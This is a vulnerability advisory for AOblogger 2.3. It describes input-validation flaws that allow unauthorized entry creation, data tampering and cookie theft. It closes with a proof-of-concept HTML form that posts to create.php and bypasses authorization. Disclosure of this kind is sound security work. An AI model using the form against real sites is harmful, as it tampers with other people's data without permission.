source: http://www.securityfocus.com/bid/16286/info
  
AOblogger is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
Successful exploitation of these vulnerabilities could allow an attacker to:
  
- compromise the application
- access, modify, or create data
- steal cookie-based authentication credentials.
  
An attacker may also be able to exploit vulnerabilities in the underlying database implementation and to launch other attacks.
  
Version 2.3 is vulnerable; other versions may also be affected. 

An example of new entry creation without proper authorization has been provided:

<form action="http://www.example.com/aoblogger/create.php" method="post">
<input name="uza" value=1>
<input name="title" value="anytitle">
<textarea name="message">anymessage&lt;/textarea&gt;
</form>